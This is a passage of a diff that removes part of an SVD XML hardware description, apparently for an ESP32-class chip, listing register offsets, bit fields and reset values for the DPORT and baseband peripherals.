-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x16042000</resetValue>
-          <fields>
-            <field>
-              <name>DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>BB</name>
-      <description>Peripheral BB</description>
-      <groupName>BB</groupName>
-      <baseAddress>0x3FF5D000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x4</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>BBPD_CTRL</name>
-          <description>Baseband control register</description>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DC_EST_FORCE_PD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DC_EST_FORCE_PU</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FFT_FORCE_PD</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FFT_FORCE_PU</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>DPORT</name>
-      <description>Peripheral DPORT</description>
-      <groupName>DPORT</groupName>
-      <baseAddress>0x3FF00000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x5C0</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>WIFI_MAC</name>
-        <value>0</value>
-      </interrupt>
-      <interrupt>
-        <name>WIFI_NMI</name>
-        <value>1</value>
-      </interrupt>
-      <interrupt>
-        <name>WIFI_BB</name>
-        <value>2</value>
-      </interrupt>
-      <interrupt>
-        <name>BT_MAC</name>
-        <value>3</value>
-      </interrupt>
-      <interrupt>
-        <name>BT_BB</name>
-        <value>4</value>
-      </interrupt>
-      <interrupt>
-        <name>BT_BB_NMI</name>
-        <value>5</value>
-      </interrupt>
-      <interrupt>
-        <name>RWBT</name>
-        <value>6</value>
-      </interrupt>
-      <interrupt>
-        <name>RWBLE</name>
-        <value>7</value>
-      </interrupt>
-      <interrupt>
-        <name>RWBT_NMI</name>
-        <value>8</value>
-      </interrupt>
-      <interrupt>
-        <name>RWBLE_NMI</name>
-        <value>9</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>PRO_BOOT_REMAP_CTRL</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_BOOT_REMAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_BOOT_REMAP_CTRL</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_BOOT_REMAP</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ACCESS_CHECK</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DPORT_APB_MASK0</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRODPORT_APB_MASK0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_DPORT_APB_MASK1</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRODPORT_APB_MASK1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DPORT_APB_MASK0</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APPDPORT_APB_MASK0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_DPORT_APB_MASK1</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APPDPORT_APB_MASK1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PERI_CLK_EN</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PERI_CLK_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PERI_RST_EN</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PERI_RST_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WIFI_BB_CFG</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>WIFI_BB_CFG</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>WIFI_BB_CFG_2</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>WIFI_BB_CFG_2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APPCPU_CTRL_A</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>APPCPU_RESETTING</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APPCPU_CTRL_B</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APPCPU_CLKGATE_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APPCPU_CTRL_C</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APPCPU_RUNSTALL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APPCPU_CTRL_D</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APPCPU_BOOT_ADDR</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CPU_PER_CONF</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CPUPERIOD_SEL</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LOWSPEED_CLK_SEL</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FAST_CLK_RTC_SEL</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CACHE_CTRL</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>PRO_CACHE_MODE</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_ENABLE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_FLUSH_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_FLUSH_DONE</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_LOCK_0_EN</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_LOCK_1_EN</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_LOCK_2_EN</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_LOCK_3_EN</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_SINGLE_IRAM_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_DRAM_SPLIT</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_AHB_SPI_REQ</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_SLAVE_REQ</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>AHB_SPI_REQ</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLAVE_REQ</name>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PRO_DRAM_HL</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CACHE_CTRL1</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000008FF</resetValue>
-          <fields>
-            <field>
-              <name>PRO_CACHE_MASK_IRAM0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_MASK_IRAM1</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_MASK_IROM0</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_MASK_DRAM1</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_MASK_DROM0</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_MASK_OPSDRAM</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CMMU_SRAM_PAGE_MODE</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CMMU_FLASH_PAGE_MODE</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CMMU_FORCE_ON</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CMMU_PD</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_CACHE_MMU_IA_CLR</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CACHE_LOCK_0_ADDR</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAX</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CACHE_LOCK_1_ADDR</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAX</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CACHE_LOCK_2_ADDR</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAX</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_CACHE_LOCK_3_ADDR</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAX</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CACHE_CTRL</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000010</resetValue>
-          <fields>
-            <field>
-              <name>APP_CACHE_MODE</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_ENABLE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_FLUSH_ENA</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_FLUSH_DONE</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_CACHE_LOCK_0_EN</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_LOCK_1_EN</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_LOCK_2_EN</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_LOCK_3_EN</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_SINGLE_IRAM_ENA</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_DRAM_SPLIT</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_AHB_SPI_REQ</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_SLAVE_REQ</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>APP_DRAM_HL</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CACHE_CTRL1</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000008FF</resetValue>
-          <fields>
-            <field>
-              <name>APP_CACHE_MASK_IRAM0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_MASK_IRAM1</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_MASK_IROM0</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_MASK_DRAM1</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_MASK_DROM0</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_MASK_OPSDRAM</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CMMU_SRAM_PAGE_MODE</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CMMU_FLASH_PAGE_MODE</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CMMU_FORCE_ON</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CMMU_PD</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_CACHE_MMU_IA_CLR</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CACHE_LOCK_0_ADDR</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAX</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CACHE_LOCK_1_ADDR</name>
-          <addressOffset>0x64</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAX</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CACHE_LOCK_2_ADDR</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAX</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_CACHE_LOCK_3_ADDR</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MIN</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAX</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TRACEMEM_MUX_MODE</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TRACEMEM_MUX_MODE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PRO_TRACEMEM_ENA</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_TRACEMEM_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>APP_TRACEMEM_ENA</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APP_TRACEMEM_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CACHE_MUX_MODE</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CACHE_MUX_MODE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IMMU_PAGE_MODE</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INTERNAL_SRAM_IMMU_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IMMU_PAGE_MODE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DMMU_PAGE_MODE</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>INTERNAL_SRAM_DMMU_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DMMU_PAGE_MODE</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ROM_MPU_ENA</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SHARE_ROM_MPU_ENA</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PRO_ROM_MPU_ENA</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_ROM_MPU_ENA</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MEM_PD_MASK</name>
-          <addressOffset>0x8C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>LSLP_MEM_PD_MASK</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ROM_PD_CTRL</name>
-          <addressOffset>0x90</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PRO_ROM_PD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_ROM_PD</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SHARE_ROM_PD</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ROM_FO_CTRL</name>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000003</resetValue>
-          <fields>
-            <field>
-              <name>PRO_ROM_FO</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>APP_ROM_FO</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SHARE_ROM_FO</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SRAM_PD_CTRL_0</name>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SRAM_PD_0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SRAM_PD_CTRL_1</name>
-          <addressOffset>0x9C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SRAM_PD_1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SRAM_FO_CTRL_0</name>
-          <addressOffset>0xA0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>SRAM_FO_0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SRAM_FO_CTRL_1</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000001</resetValue>
-          <fields>
-            <field>
-              <name>SRAM_FO_1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>IRAM_DRAM_AHB_SEL</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MASK_PRO_IRAM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MASK_APP_IRAM</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MASK_PRO_DRAM</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MASK_APP_DRAM</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MASK_AHB</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MAC_DUMP_MODE</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TAG_FO_CTRL</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000101</resetValue>
-          <fields>
-            <field>
-              <name>PRO_CACHE_TAG_FORCE_ON</name>
-              <bitOffset>0</bitOffset>
